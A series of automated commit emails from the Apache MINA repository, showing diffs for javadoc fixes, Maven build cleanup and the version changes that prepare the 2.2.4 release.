-              org.apache.mina.filter.codec.demux,
-              org.apache.mina.filter.codec.prefixedstring,
-              org.apache.mina.filter.codec.serialization,
-              org.apache.mina.filter.codec.statemachine,
-              org.apache.mina.filter.codec.textline,
-              org.apache.mina.filter.errorgenerating,
-              org.apache.mina.filter.executor,
-              org.apache.mina.filter.firewall,
-              org.apache.mina.filter.keepalive,
-              org.apache.mina.filter.logging,
-              org.apache.mina.filter.ssl,
-              org.apache.mina.filter.statistic,
-              org.apache.mina.filter.stream,
-              org.apache.mina.filter.util,
-              org.apache.mina.handler.chain,
-              org.apache.mina.handler.demux,
-              org.apache.mina.handler.multiton,
-              org.apache.mina.handler.stream,
-              org.apache.mina.proxy,
-              org.apache.mina.proxy.event,
-              org.apache.mina.proxy.filter,
-              org.apache.mina.proxy.handlers,
-              org.apache.mina.proxy.handlers.http,
-              org.apache.mina.proxy.handlers.http.basic,
-              org.apache.mina.proxy.handlers.http.digest,
-              org.apache.mina.proxy.handlers.http.ntlm,
-              org.apache.mina.proxy.handlers.socks,
-              org.apache.mina.proxy.session,
-              org.apache.mina.proxy.utils,
-              org.apache.mina.transport.socket,
-              org.apache.mina.transport.socket.nio,
-              org.apache.mina.transport.vmpipe,
-              org.apache.mina.util,
-              org.apache.mina.util.byteaccess
-            </Export-Package>
-            <Import-Package>
-              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
-            </Import-Package>
-          </instructions>
-        </configuration>
-      </plugin>
-    </plugins>
-  </build>
-</project>
diff --git a/mina-core/pom.xml.tag b/mina-core/pom.xml.tag
deleted file mode 100644
index d73e3c0c4..000000000
--- a/mina-core/pom.xml.tag
+++ /dev/null
@@ -1,116 +0,0 @@
-<?xml version="1.0" encoding="ISO-8859-1"?>
-
-<!--
-  Licensed to the Apache Software Foundation (ASF) under one
-  or more contributor license agreements.  See the NOTICE file
-  distributed with this work for additional information
-  regarding copyright ownership.  The ASF licenses this file
-  to you under the Apache License, Version 2.0 (the
-  "License"); you may not use this file except in compliance
-  with the License.  You may obtain a copy of the License at
-  
-  http://www.apache.org/licenses/LICENSE-2.0
-  
-  Unless required by applicable law or agreed to in writing,
-  software distributed under the License is distributed on an
-  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-  KIND, either express or implied.  See the License for the
-  specific language governing permissions and limitations
-  under the License.
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-  <modelVersion>4.0.0</modelVersion>
-  <parent>
-    <groupId>org.apache.mina</groupId>
-    <artifactId>mina-parent</artifactId>
-    <version>2.2.4</version>
-  </parent>
-
-  <artifactId>mina-core</artifactId>
-  <name>Apache MINA Core</name>
-  <packaging>bundle</packaging>
-
-  <dependencies>
-    <!-- Test dependencies -->
-    <dependency>
-      <groupId>org.easymock</groupId>
-      <artifactId>easymock</artifactId>
-    </dependency>
-    
-    <dependency>
-      <groupId>org.mockito</groupId>
-      <artifactId>mockito-core</artifactId>
-    </dependency>
-
-  </dependencies>
-  
-  <build>
-    <plugins>
-      <plugin>
-        <groupId>org.apache.felix</groupId>
-        <artifactId>maven-bundle-plugin</artifactId>
-        <inherited>true</inherited>
-        <extensions>true</extensions>
-        <configuration>
-          <manifestLocation>META-INF</manifestLocation>
-          <instructions>
-            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
-            <Export-Package>
-              org.apache.mina.core,
-              org.apache.mina.core.buffer,
-              org.apache.mina.core.buffer.matcher,
-              org.apache.mina.core.file,
-              org.apache.mina.core.filterchain,
-              org.apache.mina.core.future,
-              org.apache.mina.core.polling,
-              org.apache.mina.core.service,
-              org.apache.mina.core.session,
-              org.apache.mina.core.write,
-              org.apache.mina.filter,
-              org.apache.mina.filter.buffer,
-              org.apache.mina.filter.codec,
-              org.apache.mina.filter.codec.demux,
-              org.apache.mina.filter.codec.prefixedstring,
-              org.apache.mina.filter.codec.serialization,
-              org.apache.mina.filter.codec.statemachine,
-              org.apache.mina.filter.codec.textline,
-              org.apache.mina.filter.errorgenerating,
-              org.apache.mina.filter.executor,
-              org.apache.mina.filter.firewall,
-              org.apache.mina.filter.keepalive,
-              org.apache.mina.filter.logging,
-              org.apache.mina.filter.ssl,
-              org.apache.mina.filter.statistic,
-              org.apache.mina.filter.stream,
-              org.apache.mina.filter.util,
-              org.apache.mina.handler.chain,
-              org.apache.mina.handler.demux,
-              org.apache.mina.handler.multiton,
-              org.apache.mina.handler.stream,
-              org.apache.mina.proxy,
-              org.apache.mina.proxy.event,
-              org.apache.mina.proxy.filter,
-              org.apache.mina.proxy.handlers,
-              org.apache.mina.proxy.handlers.http,
-              org.apache.mina.proxy.handlers.http.basic,
-              org.apache.mina.proxy.handlers.http.digest,
-              org.apache.mina.proxy.handlers.http.ntlm,
-              org.apache.mina.proxy.handlers.socks,
-              org.apache.mina.proxy.session,
-              org.apache.mina.proxy.utils,
-              org.apache.mina.transport.socket,
-              org.apache.mina.transport.socket.nio,
-              org.apache.mina.transport.vmpipe,
-              org.apache.mina.util,
-              org.apache.mina.util.byteaccess
-            </Export-Package>
-            <Import-Package>
-              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
-            </Import-Package>
-          </instructions>
-        </configuration>
-      </plugin>
-    </plugins>
-  </build>
-</project>
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
index e3debdbd2..b68f10824 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
@@ -2134,7 +2134,7 @@ public abstract class IoBuffer implements Comparable<IoBuffer> {
      * unless they are otherwise rejected.
      *
      * @param patterns Wildcard file name patterns as defined by
-     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     *                  org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
      * @return this object
      */
     public abstract IoBuffer accept(String... patterns);
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
index 8e3c12e64..f88d22ef2 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -20,7 +20,7 @@ package org.apache.mina.core.buffer.matcher;
 
 /**
  * A {@link ClassNameMatcher} that uses simplified regular expressions
- *  provided by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String)}
+ *  provided by org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
  * <p>
  * This object is immutable and thread-safe.
  * </p>
diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
index 2d3a88f9f..390c6a9d9 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
@@ -153,7 +153,7 @@ public class ObjectSerializationCodecFactory implements ProtocolCodecFactory {
      * unless they are otherwise rejected.
      *
      * @param patterns Wildcard file name patterns as defined by
-     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     *                  org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
      */
     public void accept(String... patterns) {
         for (String pattern:patterns) {
diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
index ae324873b..b8f10f590 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
@@ -134,7 +134,7 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder {
      * unless they are otherwise rejected.
      *
      * @param patterns Wildcard file name patterns as defined by
-     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     *                  @link org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
      */
     public void accept(String... patterns) {
         for (String pattern:patterns) {


(mina) 12/19: Fixed some javadoc issues

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit b1dc83a3a8ceef10cff1daa957320ac043fc03d8
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 09:46:31 2024 +0100

    Fixed some javadoc issues
---
 mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java     | 2 +-
 .../org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java | 4 +++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
index e54125803..e3debdbd2 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
@@ -133,7 +133,7 @@ import org.apache.mina.core.session.IoSession;
  * multiple {@link IoSession}s. Please note that the buffer derived from and its
  * derived buffers are not auto-expandable nor auto-shrinkable. Trying to call
  * {@link #setAutoExpand(boolean)} or {@link #setAutoShrink(boolean)} with
- * <code>true</code> parameter will raise an {@link IllegalStateException}.
+ * <code>true</code> parameter will raise an {@link java.lang.IllegalStateException}.
  * 
  * <h2>Changing Buffer Allocation Policy</h2>
  * <p>
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
index 4732bdac5..1bfa94095 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -18,6 +18,8 @@
  */
 package org.apache.mina.core.buffer.matcher;
 
+import org.apache.commons.io.FilenameUtils
+
 /**
  * A {@link ClassNameMatcher} that uses simplified regular expressions
  *  provided by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
@@ -44,4 +46,4 @@ public final class WildcardClassNameMatcher implements ClassNameMatcher {
     public boolean matches(String className) {
         return FilenameUtils.wildcardMatch(className, pattern, IOCase.SENSITIVE);
     }
-}
\ No newline at end of file
+}


(mina) 07/19: Removed the useless lifecycle-mapping and rat-maven-plugin plugins

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 8859dd3650e26576f9062d6f0359bd0db2561425
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:19:37 2024 +0100

    Removed the useless lifecycle-mapping and rat-maven-plugin plugins
---
 pom.xml | 42 ------------------------------------------
 1 file changed, 42 deletions(-)

diff --git a/pom.xml b/pom.xml
index 542157017..ec578d2ae 100644
--- a/pom.xml
+++ b/pom.xml
@@ -773,32 +773,6 @@
           <version>${version.versions.plugin}</version>
         </plugin>
 
-        <!--This plugin's configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.-->
-        <!-- plugin>
-          <groupId>org.eclipse.m2e</groupId>
-          <artifactId>lifecycle-mapping</artifactId>
-          <version>1.0.0</version>
-          <configuration>
-            <lifecycleMappingMetadata>
-              <pluginExecutions>
-                <pluginExecution>
-                  <pluginExecutionFilter>
-                    <groupId>org.apache.xbean</groupId>
-                      <artifactId>maven-xbean-plugin</artifactId>
-                      <versionRange>[4.12,)</versionRange>
-                      <goals>
-                        <goal>mapping</goal>
-                      </goals>
-                    </pluginExecutionFilter>
-                  <action>
-                    <ignore />
-                  </action>
-                </pluginExecution>
-              </pluginExecutions>
-            </lifecycleMappingMetadata>
-          </configuration>
-        <plugin-->
-
         <plugin>
           <groupId>org.cyclonedx</groupId>
           <artifactId>cyclonedx-maven-plugin</artifactId>
@@ -939,7 +913,6 @@
           <links>
             <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>
             <link>http://www.slf4j.org/api/</link>
-            <!--link>http://static.springframework.org/spring/docs/2.0.x/api/</link-->
           </links>
           <locale>en_US</locale>
         </configuration>
@@ -957,21 +930,6 @@
           <docTitle>Apache MINA ${project.version} Cross Reference</docTitle>
         </configuration>
       </plugin>
-
-      <!--plugin>
-        <groupId>org.codehaus.mojo</groupId>
-        <artifactId>rat-maven-plugin</artifactId>
-        <version>${version.rat.maven.plugin}</version>
-        <configuration>
-          <excludes>
-            <exclude>**/target/**/*</exclude>
-            <exclude>**/.*</exclude>
-            <exclude>**/NOTICE.txt</exclude>
-            <exclude>**/LICENSE*.txt</exclude>
-          </excludes>
-          <excludeSubProjects>false</excludeSubProjects>
-        </configuration>
-      </plugin-->
     </plugins>
   </reporting>
 </project>


(mina) 19/19: [maven-release-plugin] prepare release 2.2.4

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 4134a125d8830c67c21b97c28f2bf706801bdd13
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 10:55:39 2024 +0100

    [maven-release-plugin] prepare release 2.2.4
---
 distribution/pom.xml            |  2 +-
 mina-core/pom.xml               |  2 +-
 mina-example/pom.xml            |  2 +-
 mina-filter-compression/pom.xml |  2 +-
 mina-http/pom.xml               |  2 +-
 mina-integration-beans/pom.xml  |  2 +-
 mina-integration-jmx/pom.xml    |  2 +-
 mina-integration-ognl/pom.xml   |  2 +-
 mina-integration-xbean/pom.xml  |  2 +-
 mina-legal/pom.xml              |  2 +-
 mina-statemachine/pom.xml       |  2 +-
 mina-transport-apr/pom.xml      |  2 +-
 mina-transport-serial/pom.xml   |  2 +-
 pom.xml                         | 10 +++++-----
 14 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/distribution/pom.xml b/distribution/pom.xml
index 0d0088985..6aaf02e4d 100644
--- a/distribution/pom.xml
+++ b/distribution/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <artifactId>mina-parent</artifactId>
     <groupId>org.apache.mina</groupId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>distribution</artifactId>
diff --git a/mina-core/pom.xml b/mina-core/pom.xml
index 88d03d64b..d73e3c0c4 100644
--- a/mina-core/pom.xml
+++ b/mina-core/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-core</artifactId>
diff --git a/mina-example/pom.xml b/mina-example/pom.xml
index 4e15b3377..e1aa88f8b 100644
--- a/mina-example/pom.xml
+++ b/mina-example/pom.xml
@@ -21,7 +21,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-example</artifactId>
diff --git a/mina-filter-compression/pom.xml b/mina-filter-compression/pom.xml
index e21c2f946..a4aa90b2e 100644
--- a/mina-filter-compression/pom.xml
+++ b/mina-filter-compression/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-filter-compression</artifactId>
diff --git a/mina-http/pom.xml b/mina-http/pom.xml
index f19644e64..3ffbfc618 100644
--- a/mina-http/pom.xml
+++ b/mina-http/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-http</artifactId>
diff --git a/mina-integration-beans/pom.xml b/mina-integration-beans/pom.xml
index 91298fb94..e52b66fd3 100644
--- a/mina-integration-beans/pom.xml
+++ b/mina-integration-beans/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-integration-beans</artifactId>
diff --git a/mina-integration-jmx/pom.xml b/mina-integration-jmx/pom.xml
index 1fa52cdf5..da01d433b 100644
--- a/mina-integration-jmx/pom.xml
+++ b/mina-integration-jmx/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-integration-jmx</artifactId>
diff --git a/mina-integration-ognl/pom.xml b/mina-integration-ognl/pom.xml
index 6dff4bbbf..21ea27a44 100644
--- a/mina-integration-ognl/pom.xml
+++ b/mina-integration-ognl/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-integration-ognl</artifactId>
diff --git a/mina-integration-xbean/pom.xml b/mina-integration-xbean/pom.xml
index e11fb888a..84b49bba5 100644
--- a/mina-integration-xbean/pom.xml
+++ b/mina-integration-xbean/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-integration-xbean</artifactId>
diff --git a/mina-legal/pom.xml b/mina-legal/pom.xml
index 4913c0b89..dd14d416a 100644
--- a/mina-legal/pom.xml
+++ b/mina-legal/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.apache.mina</groupId>
         <artifactId>mina-parent</artifactId>
-        <version>2.2.4-SNAPSHOT</version>
+        <version>2.2.4</version>
     </parent>
 
     <artifactId>mina-legal</artifactId>
diff --git a/mina-statemachine/pom.xml b/mina-statemachine/pom.xml
index c6340540a..1ce463a06 100644
--- a/mina-statemachine/pom.xml
+++ b/mina-statemachine/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-statemachine</artifactId>
diff --git a/mina-transport-apr/pom.xml b/mina-transport-apr/pom.xml
index a4f70e251..4aa41ec5d 100644
--- a/mina-transport-apr/pom.xml
+++ b/mina-transport-apr/pom.xml
@@ -22,7 +22,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-transport-apr</artifactId>
diff --git a/mina-transport-serial/pom.xml b/mina-transport-serial/pom.xml
index 89c3e631d..16360c66a 100644
--- a/mina-transport-serial/pom.xml
+++ b/mina-transport-serial/pom.xml
@@ -24,7 +24,7 @@
   <parent>
     <groupId>org.apache.mina</groupId>
     <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
+    <version>2.2.4</version>
   </parent>
 
   <artifactId>mina-transport-serial</artifactId>
diff --git a/pom.xml b/pom.xml
index 1b60deae7..f3147f181 100644
--- a/pom.xml
+++ b/pom.xml
@@ -34,7 +34,7 @@
   </organization>
 
   <groupId>org.apache.mina</groupId>
-  <version>2.2.4-SNAPSHOT</version>
+  <version>2.2.4</version>
   <artifactId>mina-parent</artifactId>
   <name>Apache MINA</name>
   <packaging>pom</packaging>
@@ -51,7 +51,7 @@
     <connection>scm:git:https://gitbox.apache.org/repos/asf/mina.git</connection>
     <developerConnection>scm:git:https://gitbox.apache.org/repos/asf/mina.git</developerConnection>
     <url>https://github.com/apache/mina/tree/${project.scm.tag}</url>
-    <tag>2.2.X</tag>
+    <tag>2.2.4</tag>
   </scm>
 
   <distributionManagement>
@@ -90,7 +90,7 @@
     <arguments />
 
     <!-- activate Reproducible Builds -->
-    <project.build.outputTimestamp>1694033027</project.build.outputTimestamp>
+    <project.build.outputTimestamp>1734601869</project.build.outputTimestamp>
 
     <!-- Make Java 8 javadoc lint to shut the f*** up... -->
     <!-- additionalparam>-Xdoclint:none</additionalparam -->
@@ -411,7 +411,7 @@
               <goals>
                 <goal>javadoc</goal>
               </goals>
-              <configuration/>
+              <configuration />
             </execution>
           </executions>
         </plugin>
@@ -752,7 +752,7 @@
           <version>${version.taglist.plugin}</version>
           <configuration>
             <tagListOptions>
-              <tagClasses>>
+              <tagClasses>&gt;
                 <tagClass>
                   <displayName>Documentation Work</displayName>
                   <tags>


(mina) 04/19: Fixed a javadoc issue

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit cebf645e0efa5a69f0b672afa671314144e2be05
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:17:19 2024 +0100

    Fixed a javadoc issue
---
 mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java
index 12d2f4ec1..c3fd0bdc2 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java
@@ -143,7 +143,7 @@ public class SslFilter extends IoFilterAdapter {
     /**
      * Configures the use of the Non Blocking SSL processor.  This is experimental.
      *
-     * @param enable
+     * @param enable <code>true</code> if the non blocking SSL processor is enabled
      */
     public void setUseNonBlockingPipeline(boolean enable) {
         this.nonBlockingPipeline = enable;